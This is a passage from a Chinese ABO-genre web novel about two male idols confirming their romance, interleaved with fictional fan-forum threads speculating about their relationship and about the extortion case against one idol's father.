糟糕,自从知道汤昼恒其实早就勘破他的身份,他现在更加抓心挠肺地想弄清楚了。 汤昼恒又摆出那种有点凉凉的神色,目光一下变得幽深莫测起来。 没有回答方柏嘉的第一个问题,而是佯作若无其事地绕过去道:“你觉得呢?” 方柏嘉瞬间抿上嘴,不再说话。 其实不用别人说他也知道,自己这个行为挺奇葩的。 可他就是这样的人,那又有什么办法。汤昼恒要是真的因此对他不理不睬了,他也说不了什么。既然对方后面还是照常关心他,那就说明汤昼恒其实也没有生气……吧? 方柏嘉很快理清逻辑,安慰好了自己。 纵使如此,脸上还是露出了比格一样的表情,不确定自己是不是犯了错,有点试探,有点有恃无恐,惴惴不安的,随时准备在得意忘形和点头认错两种形态中任意转换。 汤昼恒觉得有点好笑,决定不再吓唬他,做出正在深思的样子,低头看着两人交叠在一起的手道: “一开始的时候,我确实不是很理解。我会觉得,是我有哪里做得不恰当的地方,让你觉得被冒犯了吗?为什么这个人明明达成目标了,却要特意避开我不让我知道呢?” 汤昼恒有好几天都在困惑这个问题。 “我想你一定有自己的想法。”他扭头望向方柏嘉说。 “我过后再想,也许是我表现得太突然,吓到你了。明星和粉丝之间的心理地位本来就不平等,以我的身份做这些事,尽管我自己觉得没什么,但对你而言,可能却是一种负担。我的行为某种程度上是缺乏边界感的。” “是我欠缺考虑,没有站在你的角度思考。” 向来乐于复盘和反省自己的汤昼恒在极短的时间内就完成了从困惑到了然自洽的心理转变。 “所以,我没有怪你。”他伸手抚了下方柏嘉的侧脸。 方柏嘉定定看着对方,半晌,忽然在被子底下屈起双腿,从这人的臂弯中坐直起来亲他一下。 “好感动啊老公,要哭了怎么办。”他故意夸张地轻声说着,嘴巴又向上努了努。 他在这一刻深深地意识到,不会再有人比汤昼恒对他更包容了。 也再不会有人比他更温柔。 那些因为担心而无法向旁人倾诉的情绪,似乎汤昼恒都可以很好地接收并且化解。 从有着血缘之亲的人那里都获取不到的安全感,对方也能给他。 他小时候习惯了被质疑和被敲打,不知道原来可以有人如此理解他的感受。 像落入一个由柔软的羽毛织成的大网,无论他滚到哪里,所及之处都是温暖,汤昼恒都可以将他接住,不用担心落空。 “让我看看,你是不是真的哭了。”汤昼恒闻言,侧身按开房间床头灯的开关,转回身轻轻挑起他的下巴,让方柏嘉的脸抬起来正对着自己。 方柏嘉眨巴眨巴眼,一脸等待检阅似的表情。 然而还不等汤昼恒做出什么点评,就又整个人坐起来,掀开被子,跨坐在汤昼恒的身上,搂住他的脖子,低头和他接吻。 唇齿相触,缠绵而又湿润。 空气里断续传出嘬嘬的亲吻声。 过了片刻,方柏嘉松开手,缓慢地从汤昼恒的身上滑下来,上半身趴在他的胸口,侧耳聆听对方的心跳。 汤昼恒单手环抱住他,小臂的重量沉甸甸地压在他的腰后,像是一方安稳的天地。 方柏嘉等了好几秒,忽然小声道:“喜欢你。” 心跳咚咚响个不停,仿佛在为对话伴上合奏。那个器官跳动的频率太剧烈了,竟撞得方柏嘉的胸膛都有些生疼。 宛若有海浪不停冲刷血管,alpha的血液流速都是之前的无数倍。 被他压在身下的人一愣,呼吸和身体起伏的频率似乎也随着这句话的出现而短暂停滞了一瞬。 须臾,又迅速回归到正常的运行状态。 汤昼恒抬起头,搭在他的脑后抚了抚:“……我也是。” “……” 一秒,两秒,三秒。 方柏嘉猛地从他胸前抬起头来,有些不满地道:“人家都跟你说‘喜欢你’了,结果你就来一句你也是啊?怎么着也得把那三个字用上吧?!” 看他的模样,像是又要发小狗脾气了。目光里却带着不加遮掩的引导和期待,仿佛在用眼神示意他:你快说啊。 “……”汤昼恒先是一怔,随后失笑。 看着方柏嘉认真的神色,他迅速收敛了表情,为表正式似的轻咳一声,正色道:“喜欢你。” 发音吐字轻轻的,每个字都清晰而有磁性,好像轻盈弹跳着从平面上跃过的金属球,字字分明。 说完汤昼恒自己的耳朵尖也红了,红意慢慢晕染到耳垂处,又逐渐遍及他俊美英气的脸颊。 离得太近了,一呼一吸之间都能感受到彼此的鼻息轻拂在他们的面庞。 两个人就这么烧开了的热水壶似的顶着一对红通通的脸互相盯了片刻。 方柏嘉的眼睛亮亮的,又做了个忍俊不禁的、想笑却又不好意思笑得太明显的表情,两瓣嘴唇紧紧闭着缓了好一会儿,才明知故问地慢慢说:“那,我们现在是什么关系啊?” 回答他的是汤昼恒扬起的嘴角:“你说呢?男朋友。” 顿了顿,他忽然凑近方柏嘉的耳畔,换了个叫法道:“宝宝。” “……” “…………” “………………!!!” 唇肉抵着他的耳朵边,嗓音又低又轻,热气吹在耳畔,带来一阵酥麻的痒。 方柏嘉听到某个不同寻常的称呼,整个耳朵尖都抖了抖,被唇瓣触碰到的地方立刻红了。 红晕以很快的速度向外蔓延,方柏嘉瞪大眼睛,像听到自己最喜欢的指令词的小狗,整个人瞬间就精神起来。 他嘴巴微微张开,不可置信地道:“哥哥……你叫我什么呢?” “你想让我叫你什么?”汤昼恒反问他。 “不是你在微博上说的,想做‘老公’的‘宝宝’……” “宝”字的音还飘在空中,方柏嘉就一脸惊慌失措地起身堵住了他的嘴:“啊啊啊不要说了!” 从他上次在方柏嘉的面前复述他以前发过的微博开始,方柏嘉就发现了,这个人在念这种东西的时候根本没有羞耻心的。 他敢说,方柏嘉都不敢听。 方柏嘉露出痛苦又微妙的表情,一时间甚至不知道自己该不该为汤昼恒叫了他“宝宝”而感到开心。 汤昼恒嘴角带着笑意,一点也不想错过地观察着他脸上的每分每毫的变化。 很显然,也回想起了方柏嘉小号上的那些内容。 方柏嘉偶尔也会发些和生活工作有关的吐槽,但不多,大概占比20%到30%,剩下的基本上都和他有关。 【呵呵想跪下来求自己别再喜欢老公了结果发现跪下来也能喜欢,这辈子就是被坏男人玩弄的命】 【爱上老公把我的人生全毁了哈哈我本来是多么阳光无忧无虑的小男孩现在变得暴躁冲动脆弱易怒某个人你这里欠我的用什么还】 【老公的粉丝请问我可以当你们嫂子吗?老公的宠物请问我可以当你们另一个爸爸吗?老公的父母请问我可以当你们儿媳吗?老公老公请问我可以当你的宝宝吗[眼泪汪汪][无辜][萌]】 …… 看得出来,方柏嘉具体的心情好坏全根据他那天是和汤昼恒冷战闹别扭了还是有重大感情进展了来区分。 根据对方展现出的不同状态以及对应的发布时间,汤昼恒稍微回忆一下就能想起那段时间发生了什么。 方柏嘉最开始发言还比较密集,到了最近这两三个月肉眼可见的少了,估计和两人分隔两地了有关,语气也明显变得怨念。 【思夫拳,思如泉涌![拳头][哭][拳头]念夫剑,念念不忘![剑][哭][剑]爱夫掌,生生世世![手掌][哭][手掌]见不到老公的第一个月,中间忘了后面忘了总之哥哥你带我走吧……】 【好想见到老公啊啊啊,怎么会有人都没在一起待多久就又要分开的!想请个长假去找他。决定了,等下就找那谁说,这个项目一结束我起码要躺两个月,任劳任怨给公司赚了这么多年钱休息一下怎么了!】 【就是不知道他那边什么反应……还没好意思跟他说,感觉显得我好恋爱脑啊啊啊啊[尖叫]他知道了肯定又会笑我[擤鼻涕]而且也不知道哥哥到时候有没有安排】 【不管了,他有活动的话我就在家里边工作边等他好了,反正写东西也不需要社交。就是恋爱脑怎么了[怒]只有爱老公的人才会得到上天眷顾!!![握拳]】 一连好几条都是这样的风格。 直到那次,方柏嘉去剧组看望汤昼恒的最后一天,两人微妙地有了隔阂。 他在微博上的语气也急转直下,连着好几天的好几条看起来都情绪不高。 【哥哥好像不高兴了】 【好烦好烦好烦好烦好烦】 【这是不是命运对我的惩罚…………[五雷轰顶][微笑][破防]老天爷我错了我以后再也不说谎了啊啊啊啊】 【到底为什么一定要知道这种事情啊看到我破防很开心吗必须得追根究底吗对啊我就是从十七岁喜欢你到现在你满意了吧你这个冷漠无情的alpha我就知道男人对轻易得到的东西永远不会好好珍惜!!!】 当时,汤昼恒在刷新出方柏嘉小号界面的第一眼,看到的就是这条最近发布的微博。 他的视线在“十七岁”这三个字上停驻了许久,仿佛不敢相信似的,反应过来以后,才慢慢地往下滑。 疑惑好像一瞬间都消失了。 比如方柏嘉为什么会在无意识中喊出那声“老公”,又在过后如此慌乱地想要否认和遮掩。 如果他一直以来喜欢的就只有自己呢? 以方柏嘉的性格和习惯来说,他都能做出装作不认识自己的事情来,在无意中暴露后用那种蹩脚的理由来掩盖也不是什么奇怪的事。 于是他按照原计划去了对方在的节目组,给了方柏嘉一个惊喜。 这些日子他们每天都待在一起,汤昼恒心里记挂着他这个小号,隔了两天,特意登上去又看了眼。 方柏嘉果然更新了。 【[呆]哥哥突然来看我了】 【到现在都没反应过来,好幸福好幸福……[紧张]】 【老公我们就这样过下去吧好不好[对手指][泪]老公都怪你害得我再也喜欢不上别的alpha了我这辈子都被你毁了如今只有一个办法可以解决那就是老公我要像鬼一样缠着你!】 “是谁说要像鬼一样缠着我的?”汤昼恒挑挑眉,“有的人好意思在微博上写,不好意思在我面前提,这算怎么回事?” 方柏嘉又接着“啊啊啊啊啊”。 他一个翻身从汤昼恒的身上下来,把自己塞进被子里开始翻滚。 汤昼恒在旁边饶有兴趣地看着他滚来滚去,直到把自己裹成一个卷,脑袋也埋进去装死。 汤昼恒好像还挺意犹未尽,遗憾地说:“可惜以后再也看不到了。” 出了这种事,方柏嘉应该从此都不会再敢开小号。 本来还想再多观察一段时间的比格心情日记来着。 “……” 方柏嘉这下是真的怒了,一反刚才扭扭捏捏、羞愤欲死的样子,把头伸出来,不可思议地指责他:“如果不是你我怎么可能在小号上写这些乱七八糟的,最后还被爆,你居然幸灾乐祸!” 方柏嘉想也不想地把所有责任都推给对方,最后猛地吸了下鼻子,趁着这股劲头破罐子破摔似的道: “我不管!反正你什么都知道了我的秘密全被你看光了你知道这给我造成多大的心理阴影吗,现在全世界的人都看过我的小号如果连你也不对我负责我这后半辈子都将封心锁爱所以你必须对我好!” 他三两下又把自己从被子里面扒拉出来,冷不防一头撞进汤昼恒的胸口,耍赖似的蹭来蹭去。 “口条还挺利索。”汤昼恒讶异道。 “居然能说这么多字都不带停。” 他低头瞧着这颗在自己身前动来动去的脑袋,从嘴角溢出的笑意分明能看出他有多愉悦。 方柏嘉明显还没解气,被他这么一笑,顿时加倍地恼羞成怒起来,猛地按着汤昼恒的肩膀将他拉下来,恶狠狠地在汤昼恒的下嘴唇上啃咬了一下,说:“我要惩罚你!” 汤昼恒看起来并不在意地“嗯嗯”了两声,懒声道:“比如?” “比如……” 方柏嘉眯了眯眼睛,像在酝酿着什么似的,突然间一个飞扑将他压在身下:“我要/榨/干/你!” * …… 到了晚上,论坛内部依旧热闹非凡地讨论着白天的话题。 【时隔数个小时依然很震撼,突然意识到如果没有渣爹这一出我们应该一辈子都没法嗑到这样的大糖,因为1看起来是真的不出意外打算一直隐瞒下去,在粉丝看不到的地方究竟又还有多少不为人知的故事妈呀根本不敢细思……13你们还有什么秘密都告诉我好吗求你们了[泪]】 【这个截图让诺亚方昼的毫克程度又上升了不止一个层面可以说吗,那些说我产没有内涵没有深度纯粹只看脸嗑的出来,如果我拿出今天官方发的大糖你又该如何呢?[奸笑]】 【也是让们13姐在战火纷飞中捡到糖了】 【草,这什么默默对你好你却不知道的剧情,联想到这俩人出道后就各种被传关系一般不对付,玛雅好虐怎么回事……老一你但凡当初让3知道这件事现在说不定当他老公的人就是你了】 【我刚刚也在想,tzh我不信你当初帮他一点私心都没有,你就勇敢说了又怎么了!】 【别再说下去了,谁tm允许你们糖里掺毒的(吐血)】 【朋友们也不用那么悲观,往好处想,他俩今年这么突飞猛进说不定就是因为私下偷偷聊了什么呢】 【老三我命令你看到聊天记录后迅速醒悟发现自己爱的人是老哥然后投入你真正的老公怀抱好吗】 【我忽然有一个想法,你们说会不会这两人就是在和对方谈啊?毕竟前后脚爆出来的时间实在挨得太近了,而且大家到现在也没扒出他们的另一半是谁……(小声)】 【…………谁来评价】 【又一个嗑13嗑疯了的(摇头离开)】 【宝宝我知道你有点难以接受但还是看开点好吗,其实他们就算谈了我们也照样可以嗑的!】 【呃说到这我顺便问一句,13姐你们现在是真的能当做什么事都没发生一样地嗑cp吗】 【发现出了惊天巨糖兴奋地想嗑,一想到这两个人都各自在谈又萎了】 【其实还是有点膈应但是在震撼美味面前已经忍不住埋头猛吃起来】 【方舟你们既然都谈了为什么不能和彼此谈(心痛握拳)明明是这么天造地设的一对】 【点播一首爱人错过(。】 【不不速速甩了你现在谈的那个老哥也别当O性恋了你俩赶紧在一起就当是为了我[双手合十]】 【妈呀1没惹,3fw放过老哥,自己担都在那老公老公叫上了还来拉A的瓜呢,是对自家哥夫不满意?别来祸害直A行吗?[白眼]】 【好好笑,3f之前各种装看不起老一现在倒是知道战略性嗑cp了】 【谁告诉你老一是直A了】 【?????又tm有瓜?】 【这下我是真的要跪下来求人脉姐宠宠我了】 第63章 第 63 章 草,热搜又特么登顶了。…… 方柏嘉去报案的第二天, 首都当地的警方就在网络上发布了有关这件事的警情通报。 ——经审查,方某对其违法行为供认不讳,目前已被公安机关刑事拘留, 以涉嫌敲诈勒索罪依法立案侦查。 警情通报一出,网络上顿时再也无话可说, 连剩下一小撮原本还在质疑的言论也跟着不攻自破。 【我草这老登还是勒索惯犯,真不要脸啊, 把吃瓜网友当枪使】 【原来不不真的被弃养过……好恶心啊, 这种人根本不配为人父母[呕吐][呕吐][呕吐]】 【如果不爱(比格), 也请不要伤害(。)一想到十几岁的3莫名承受了来自成年人的恶意就哈特好痛, 好不容易长大后脱离了桎梏竟然还要被再三压榨吸血, 还好现在终于熬过来了】 【老三离开亲爹的保护伞发现外边根本没下雨】 【话说回来, 既然公司是可以迅速对谣言进行回应的,那是不是更锤了13的恋情瓜是真的?】 【。你楼怎么突然安静了】 【我以为这已经是公认的事实了,现在说这种话题真的不怕死灰复燃的小方糖顺势进行被虐粉后的第一波大练兵吗?】 【……不过3真的说不幸运也幸运, 出了这么个假瓜好像大家都自然而然忽略了他前面被爆的恋情, 就连原本接受不了3f目前也都只是在忙着怜爱和反黑, 1的恋爱瓜更是几乎查无此料(、)】 【啊啊啊不要放过这个老一老三啊!!!都给我一起来扒嫂子哥夫!!】 …… 网友们后来如何进行的讨论,方柏嘉并不知情。 因为他连着整整两天都在和某个人没羞没臊。 ……自己有没有把汤昼恒榨干方柏嘉不清楚,方柏嘉只知道自己差点就变成比格干了——脱水脱的。 前边一直在连轴转忙节目的事, 录制完又紧接着撞上被爆料, 方柏嘉的身心一直处在紧绷状态。 事情解决后,他终于彻底松懈下来,和汤昼恒做完,径直昏睡了大半天。 一直到了第三天晚上,方柏嘉接到了来自danny哥的电话。 对方告知他,方旭尧多年来向他敲诈勒索过七位数, 这个数目已经构成严重犯罪,经纪人向人打听过,不出意外应该是要判刑十年,罚款20万。 据说方旭尧的妻子听到这个消息后,立刻慌了神,在关押方旭尧的看守所外蹲点了大半天,等到了公司这边派去的律师,要死要活地请他们帮忙联系方柏嘉,估计是想求情。 经纪人向方柏嘉转达了郭洁玉的意思,方柏嘉拒绝了。 “算了吧,没意思。事情对我来说都已经过去了。” * 对于方柏嘉来说,这件事已经过去了。 但对于摩拳擦掌的吃瓜群众来说,八卦的狂欢才刚刚开始。 头一次得知喜欢的明星的遭遇,粉丝们又是心疼又是叹息,与此同时愈渐上涨的,是被爆料人勾出的更多对他未出道前经历的好奇。 一时间,无数人涌入到和方柏嘉有关联人士的账号下面,开始打听他的过去。 隶属于山川相缭旗下的演员陈越像往常一样,在下工以后打开了直播。 紧接着被涌进他直播间的大量人头吓了一跳。 待看清弹幕上问的都是些什么时,又很快反应过来,开始一条条回答。 “和方柏嘉吗?对,我确实认识他,我们练习生时期住在相邻宿舍的。” “对热搜上的事有什么看法?嗯,我的看法和大家一样。” “谢谢礼物。其实我们也不是特别铁的那种,不过经常一块训练的相处都还可以,平时遇到月末休息也会一起去附近商场看电影吃饭什么的。” “他给我印象最深的是什么……啊,我记得有一次,他在宿舍外面捡到了一只很小的流浪猫,还生了重病,我们宿管不让养,他就送到宠物医院去了,前后看病加上住院花了大几千才治好。他也没跟我们说,后来在课上低血糖差点晕倒,我们才知道他为了省钱给猫治病连公司每个月给我们的生活补贴都搭进去了,钱没剩多少,所以一天只吃一顿。” “这事最后闹到了选管那里,从那以后公司给的补贴就都直接打到我们饭卡里了,超搞笑。因为这件事我还挺佩服他的,狠人一个。” “那是一只身体上有白色的橘猫吧?就很常见的田园猫,我不知道去哪里了诶。他开始在朋友圈里挂了好久的找领养都没人要,后面有一天忽然说是给小猫找了靠谱的领养人,具体是谁我没问,好像是秦高阳介绍的。” “他和秦高阳关系……是还可以吧,印象里经常有叫他出去吃饭。我们都还挺好奇他们怎么认识的,说实话,这种出过道的人再来和我们一起训练,前后辈的身份差距摆在那儿,是不太能聊到一起,都是各玩各的,但不知道为什么秦高阳就对方柏嘉挺热情。” “……看的什么电影?其实也没看很多。我们一般开头都是‘最近某部电影好像挺火,要不要一起去看’,大部分时间问他他都不会答应的,方柏嘉是那种一有空就会跑去练习室泡着的人。真正跟他一起去的就两次,我想想,一部是外国文艺片,叫什么我暂时记不起来。还有一部……对了,是《恶魔捕手》!那会儿《恶捕1》刚上映,又是公司里的前辈参演的电影,我们就一起去咯……” 眨眼间的功夫,这段直播的录屏就被人放到网上,并且搬运到了论坛。 【信息量好大的一段话,看得我目不暇接大脑飞速思考】 【当时电影事件那场直播后你区就一堆人猜老三绝对看过第一部结果还真是啊?】 【已经对3睁眼说瞎话的样子见怪不怪,毕竟不是第一次为爱背叛曾经的自己了(。)】 【他说的pyq猫领养我有印象,是这个吧[图片]】 【?为什么ls会有不不的朋友圈截图】 【这不是我截的[笑哭]3火了之后一直有人考古他,好像有个人的亲戚是scxl的工作人员还是怎样,那段时间网上流传了好多3的pyq图,其中就包括这个,这都是每隔一段时间就会拿出来震惊一波新粉的老黄历了,不过这么详细的版本确实是第一次知道。】 【自己不吃饭都要救助小猫老三就是这样一只心地善良的乖比[萌]】 【身上有白色的橘猫,说的该不会是3发在他小号上的这一只吧?[图片]】 明显是微博界面的背景上赫然是张一只手捧着猫头的照片,橘白的脑袋正对着镜头眯起眼睛,一脸的安逸与享受。 方柏嘉的配字是:胖咪胖咪你的脑袋为什么这么圆呀。 【……朱军,我有个大胆的想法,把这两只猫的照片拼在一起放大了下[图片]你们有没有觉得这是一只猫[惊恐]】 【你还真别说,虽然乍一看天差地别但是额头上这块橘纹的走向完全一模一样,就是长大后变胖了把纹撑宽了点】 【鼻子的形状也像,靠,这就是一只猫吧!】 【我也有个大胆的想法,这张图发布那会儿他们都还在住宿舍,已知有成员透露过老哥把猫带去一起住了,那么……照片里这只猫其实是老哥的猫?不不当年遇见的小猫现在是被老哥养着?】 【???我这两天在你区扣出的问号比我这辈子前面所有加在一起的还要多】 【老哥怎么领养了一只比格还不够还把比格捡回来的猫也一块养了……】 【联想到前练习生说的小猫很久都没有领养出去,合理推测唐女士那个3发生什么都要和1通报的性格不可能不和1说,那你们猜1听了会做些什么呢?】 【kswl你舅宠他爸!捡了老婆当然要对老婆的一切都负责到底[摊掌]】 【tzh是怎么把当年那只骨瘦如柴的小毛米养成现在的大卡车的[呆]】 【啊啊啊不要这样说小猫咪啊!们橘白只是大骨架而已!】 【等一下没人注意到那句qgy帮忙找的领养吗,这和楼里猜测的逻辑不符吧?我怎么有种不祥的预感……莫名其妙的热情照顾+逢年过节叫他一块吃饭+甚至还帮忙给小猫找领养这也太那个了,别告诉我这个秦高阳就是3哥夫[惊恐]】 【我有一个更不详的预感,众所周知秦高阳和老一关系挺好,有没有可能老一之前各种关心老三包括帮忙养小猫都是在帮秦,他自己也喜欢宠物就顺手养了】 【逢年过节吃饭这条也和前面爆渣爹瓜扒出来的早年合照对上了,这别不是误打误撞扒到真哥夫了……】 【我勒个去,如果真是这样不知道秦看到3和1卖腐是什么感想】 【我不允许任何除了1以外的人当不不老公[吐血]】 【……不觉得这个逻辑更怪吗,如果秦真和3是一对他为什么要假借1之手关照他,明明自己也是公司艺人,他俩那会儿还没什么咖位之分不存在自己办不成需要托人的事吧】 【刚提起的心看到ls这么一说瞬间放下了】 【在外面看见这么高一栋楼还以为聊了什么,结果就是拿着两张同一品种的猫图开始造谣,我说够了一些大美cpf,你们一开始对着官方澄清嗑糖我都忍了现在直接造谣老一性取向是什么意思,真就一点证据都不需要张口就来是吗】 【你要不要猜猜1的私生为什么突然发疯爆料1谈恋爱,又为什么照片都爆了但是要给嫂子打码?】 【????ls什么意思,可以说得再明白一点吗】 【对就是这样多说几句,每次唯粉姐不信邪非要上来硬杠的结果就是惹怒人脉姐开始疯狂爆料[邪笑]】 【你区最近几天料姐层出不穷但都很爱打哑谜】 【这有什么看不懂的,前面说的很明白了,一个多月前拍到的吻痕照都能捂怎么到了现在反而爆了,因为追到新地方拍到嫂子露脸照发现嫂子的身份自己接受不了啊[笑哭]】 【意思是说发现对方是alpha嫂子是吗……印象里确实记得前两天看到有人说1不是直A】 【别提了,人脉姐那天就回了那一句话再也没出现过】 【感觉又是戏精热演可以说吗,每次都把你区区友当鱼钓[无语]】 【可是还真别不信,每次你区一些看起来很像演的一句话爆料最后往往还被证明就是真的(……)】 【可能人脉姐就是因为有真料才这么高傲吧[点烟]】 【等一下,新地方?老哥最近一星期不是都在给老三的新综艺当飞行嘉宾吗】 【素,记得黄牛传出这个消息的时候你区13姐狂欢了好几天,他俩还被拍到上下班一起出酒店回酒店,当时大家都在打趣nyfz白天一块上班晚上回到酒店疯狂左爱……】 【所以ss拍到嫂子的照片就是在他们住的这个酒店】 【!!!!!】 【不行我忍不住了,等了快一天都没人讲,这是3大粉nymh小号在3他爹再次出来爆料的当天下午发的hyq,我必须看到有人和我一起讨论[图片]】 …… 文字内容: 【晕死,本来不想就这件事说什么但现在的事情发展也太令人匪夷所思了,他就是一个之前都在默默单恋直到前几个月才谈上的恋爱脑小男孩,根本没有什么谈了五年更不是什么攀上金主,别惹!!!】 附图是几张拼在一起的微博截图。 [刚跑完活动又要飞走,说好的聚餐都取消了,一年也见不到他几面,烦(白眼)] [卧槽求求你们看在我的面子上别骂我老公了你们是骂爽了心疼的是我啊] [我真想一头撞死刚刚xx他们几个问我要不要一起去那谁家吃饭我居然拒绝了我居然拒,绝,了,老公我错了我再也不装逼了求你再问我一遍好吗] 账号的ID被人码掉了,但看语气依然十分熟悉。 有关注大粉小号的人似有所感地问了一句这是谁。 大粉:【他上一个小号】 粉丝:【?????】 大粉:【别试着搜了他早把账号都注销了】 粉丝:【???????】 底下大粉的互关好友回复:【笑死啊啊啊我真受不了了,憋了这么久终于可以说了】 大粉:【该,谁让他千里送,这么恋爱脑怪不得有此一劫】 …… 论坛: 【我现在也要?????了】 【……这个第二条不会是我想的那个人吧】 【说到被小方糖狂骂应该所有人都只会想到一个人的名字吧】 【所以这算是半石锤了?】 【等一下你们3大粉怎么回事,怎么会连3有几个小号都知道啊?】 【现在科技这么发达很难不知道吧,你觉得3现在这个号怎么被人发现的,能发现一个自然其他的也能发现,全看想不想说而已】 【我操啊你楼都出现了什么人怎么可以说出这么可怕的话】 【你区一直有很多各家知名(非褒义)粉丝潜伏,不然上次那个ss姐哪来的】 【原来3f早知道哥夫的存在……???妈呀都说流量大粉是最能捂的我今天算是信了】 【倒也没那么夸张,看这个号就知道老三前面都是暧昧期最近几个月才在一起,既然在此之前一直都是铁暗恋也没什么好说的,至于真正知道具体是谁也就是一星期前的事】 【千里送说的该不会是老三去某店找老哥那次吧】 【!!!!!!】 【这又是什么???我嘴巴完全合不上了】 【隔壁那个扒嫂子的楼里有涛,ss姐不是爆料嫂子去某店陪老一吗,wb上就有人把最近一两天从外地去某店的明星都罗列了一下,结果发现老三也在里面而且刚好就呆了1请假的那两天(。)当然这还不是最绝杀的,是有另一个神人根据3小号上所有提到具体事件字眼的微博分别去搜索当天究竟发生了什么然后列了个表,结果发现这些事件基本都和1有关。】 【举个例子,你看3大粉截图上写的“聚餐”,这时候去搜当天日期你会发现燈刚好在那天有一场庆典活动,而他们在活动结束后立刻各自坐飞机走了也符合文字描述[图片]表我搬来了你们自己看吧】 【……怎么下了班追个星还能看到Excel】 【我勒个科技改变生活】 【就因为行程很多重叠就说1的嫂子是3是不是有点草率了,他们经常撞上难道不是因为前几个月一直在跑团活吗,后面虽然分开了但互相探望草草队友情也很正常吧,毕竟今年公司确实趋向于让他俩多炒,这并不妨碍他们共同出现在一个地点但各自有男友啊?】 【太地狱了,白天和搭子卖腐晚上回到酒店各自和对象甜甜蜜蜜】 【可你怎么解释就在老一来帮老三录综艺的当天3刚好发了条“哥哥来看我了”呢?】 【这下真是大锤特锤了,这么一想恰恰就在1飞来给3当飞行嘉宾的这个当口ss破防爆料了已经说明一切……】 【草草队友情x 草草队友√】 【我操恶俗啊】 【你就说是不是吧】 【既然如此我也提供一条,看过3小号的应该对他有张拍吃的的照片有印象,注意看他碗下面露出的灰色的大理石纹→[图片][图片]有没有觉得和第二张里的厨房岛台花纹很像,这是某国A牌的经典款产品,价格三百多万,老一在首都商区的住宅里有一个(ps图也是从他往期的视频里截的,感谢之前在vlog里扒他睡衣的姐妹给了我灵感[吐舌]】 【OM……G】 【还不止,抬头看这条微博的发布时间有惊喜,没错,你楼提到过的电影6缺2风波和3发这条wb是同一天】 【而且在这条微博的前几天还刚好还是老一易感期】 【????这你们又是怎么知道的,公司不是禁止泄露艺人生理期怕被有心人利用吗】 【话是那么说啦,不过这种事情真有心想知道怎么可能看不出来,比如某个成员原本好好活动着突然停下来休息了几天,那基本上可以猜到他是易感期到了,如果经常关注正主每月行程那就更明显了,毕竟每隔三个月规律性出现的休假空白期很难不被注意到】 【其实最直接的证据是老哥跑完电影路演后又休息了四天。按正常流程来说组合跑完团活后面紧接着就该回首都录后续物料然后各自单飞(?),是老哥要去路演团队才特意等他,公司没道理在这时候还额外给他放假,唯一合理的解释就是老哥那会儿刚好遇上了避不开的易感期】 【所以这俩人是睡完了去看了场电影然后旁若无人光明正大地一起回了宿舍是吗,啊啊啊13你们玩好大】 【在队友眼皮底下偷情私会的小情侣两枚呀】 【此生最恨……不能亲眼看到13做暧…………】 【看这帖我不由感叹208w真的是牺牲了自己的隐私在赚大钱,各种信息几乎都是透明的,拼拼凑凑后日常生活动态完全一览无余】 【没关系我们cpf爽到就够了[吐舌头]】 【嗯,还有人在意吗,同学姐又爆新料】 * 热搜发酵过的几十个小时后,“今天没吃饱”的评论区依然热闹。 【感谢姐姐站出来给不不说话,也告诉我们他的高中生活[拥抱]如果不是你我们现在都不知道他经历了那么多。】 【哇谢谢博主分享的3以前的照片,头一次看到17岁的比格宝宝这也太嫩了!!!】 【无意打扰,想问下同学姐有没有一些关于fbj的高中趣事可以分享一下?想更了解以前的他,如果不方便回答就算啦[期待][对手指]】 …… “今天没吃饱”最近看起来都住在网上,很快回复: 【趣事?他喜欢看那种有点狗血的校园偶像剧算吗?我是无意中发现的,因为那家店摆了桌椅还有电视屏,很多学生会去店里蹭电视看。记得当时电视上在播《有你的盛夏》,我和我朋友周末经常在店里一待一下午。店里的omega店员也喜欢,大家经常在没有顾客上门的时候聚在一起讨论剧情,他就表现得很不屑也不感兴趣的样子,每次大家聊天他都一个人在旁边默默看手机。】 【一开始我也以为他不爱看这种,毕竟alpha嘛,以我现在的年纪回头看也觉得那剧挺雷的。结果被我看见他经常在做奶茶的间隙趁别人不注意的时候偷偷看电视,有时候看得太专注,甚至手上的杯子都会忘了摇[笑哭]当时就觉得原来alpha也有一颗少男心啊?】 “今天没吃饱”本以为这两条文字发出去,会收获一片好评与感谢,没想到接下来的评论都弥漫着一股诡异的氛围。 【姐妹你确定你没记错?会不会其实他看的是别的剧但你弄混了,毕竟这种名字里有夏天/盛夏的现偶很多】 【博主还没怀疑起自己的记忆我先怀疑起来了,去搜了下《有你的盛夏》确实是1参演的那部,看了下年份也没错,这部剧播出的当年3就是17岁】 【oh my】 今天没吃饱:【对的,我也是后来有一天突然意识到,原来那部剧里的男三就是他现在的队友啊,也因为这一点我的记忆非常深刻,应该不可能弄错。】 【大家的反应好奇怪,是我说错了什么吗?我本身不爱追星,所以也不是很了解后面发生的事,如果哪里说的不对我可以删】 【也不是啦……就是,嗯……】 【我操卧槽我草嗑到了!!!!】 论坛。 【?啥意思,得知3进公司前就和1认识我已经很震惊了,现在你告诉我3那么早的时候还看过1早年演过的雷剧???】 【这件事仔细想想挺微妙的,老哥这部剧播出和不不进公司前后相差不到一年吧,一个明星(虽然当时不火)一个素人是怎么有交集的呢,看老哥聊天记录应该也是偶然间接触到的不不,那他俩最初认识的契机是什么?】 【不不该不会那时候就已经是老哥的粉丝了吧[汗]】 【卧槽怎么办,已经在外面看到3f开帖骂同学姐故意编故事博流量讨好13姐了】 【?这里为什么还有13姐的事】 【因为同学姐爆料3看老一演的剧看得痴迷和3以前的不关心不care老一的人设不符,他们说同学姐想暗戳戳树立3谎话精的形象,很难说是在真的因为败坏形象破防还是因为发现不不真爱老一破防】 【我也看到了。小方糖能不能别闹了,就因为人家说的话不符合你的预期你就要说人家zy,忘了同学姐不久前才刚为不不舆论翻盘出了一大份力吗】 【额……可是3自己推翻这一点也不是一两次了,那次电影事件就该看出来了啊,嘴上说自己不爱看没看过1的电影其实对每个细节都如数家珍,3f现在破防是不是延迟太严重了】 【这你就不懂了吧,明知道两人在卖的破防和发现相反是真哥夫的破防能一样吗[邪笑]】 【就老三在访谈里分享的爱看作品来说这部剧确实不是他喜欢的类型,他自己说过他不爱看这种降智青春伤痛型的情情爱爱……所以当年到底是什么吸引了老三的目光让他对一部雷剧如此流连忘返?】 【不不能看进去这部剧绝对算真爱了,当初我也为老哥特意去补过他以前的老剧,这剧即便在无脑狗血剧里也是让人难以忍受的存在,但是老哥在里面真的很帅,刚开始展现alpha魅力的嫩狗一只^-^】 【呵呵某只比格也被老公的帅气迷晕了吧】 